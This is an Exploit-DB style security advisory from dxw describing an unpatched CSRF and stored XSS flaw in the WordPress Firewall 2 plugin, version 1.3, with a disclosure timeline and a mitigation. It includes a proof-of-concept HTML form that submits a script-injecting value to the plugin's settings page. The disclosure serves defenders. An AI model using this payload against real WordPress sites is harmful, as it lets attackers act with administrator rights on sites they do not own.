CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can

vendor:

WordPress Firewall 2

by:

Tom Adams

5,8

CVSS

MEDIUM

CSRF/stored XSS

791

CWE

Product Name: WordPress Firewall 2

Affected Version From: 1.3

Affected Version To: 1.3

Patch Exists: NO

Related CWE: Awaiting assignment

CPE: a:wordpress:wordpress_firewall_2

Metasploit: N/A

Other Scripts: N/A

Tags: N/A

CVSS Metrics: N/A

Nuclei References: N/A

Nuclei Metadata: N/A

Platforms Tested: None

2016

CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can

HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page. Visit the following page, click on the submit button, then visit the plugin’s options page: <form method="POST" action="http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php"> <input type="text" name="email_address" value=""><script>alert(1)</script>"> <input type="text" name="set_email" value="Set Email"> <input type="submit"> </form> In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.

Mitigation:

Disable the plugin until a new version is released that fixes this bug.

Source

Exploit-DB raw data:

<!--
Details
================
Software: WordPress Firewall 2
Version: 1.3
Homepage: https://wordpress.org/plugins/wordpress-firewall-2/
Advisory report: https://security.dxw.com/advisories/csrfstored-xss-in-wordpress-firewall-2-allows-unauthenticated-attackers-to-do-almost-anything-an-admin-can/
CVE: Awaiting assignment
CVSS: 5.8 (Medium; AV:N/AC:M/Au:N/C:P/I:P/A:N)

Description
================
CSRF/stored XSS in WordPress Firewall 2 allows unauthenticated attackers to do almost anything an admin can

Vulnerability
================
HTML is not escaped and there is no CSRF prevention, meaning attackers can put arbitrary HTML content onto the settings page.

Proof of concept
================
Visit the following page, click on the submit button, then visit the plugin’s options page:
-->

<form method=\"POST\" action=\"http://localhost/wp-admin/options-general.php?page=wordpress-firewall-2%2Fwordpress-firewall-2.php\">
  <input type=\"text\" name=\"email_address\" value=\""><script>alert(1)</script>\">
  <input type=\"text\" name=\"set_email\" value=\"Set Email\">
  <input type=\"submit\">
</form>

<!--
In a real attack, forms can be submitted automatically and spear-phishing attacks can be convincing.

Mitigations
================
Disable the plugin until a new version is released that fixes this bug.

Disclosure policy
================
dxw believes in responsible disclosure. Your attention is drawn to our disclosure policy: https://security.dxw.com/disclosure/

Please contact us on security@dxw.com to acknowledge this report if you received it via a third party (for example, plugins@wordpress.org) as they generally cannot communicate with us on your behalf.

This vulnerability will be published if we do not receive a response to this report with 14 days.

Timeline
================

2016-12-23: Discovered
2017-03-16: Reported to vendor by email
2017-04-04: Vendor could not be contacted



Discovered by dxw:
================
Tom Adams
Please visit security.dxw.com for more information.
-->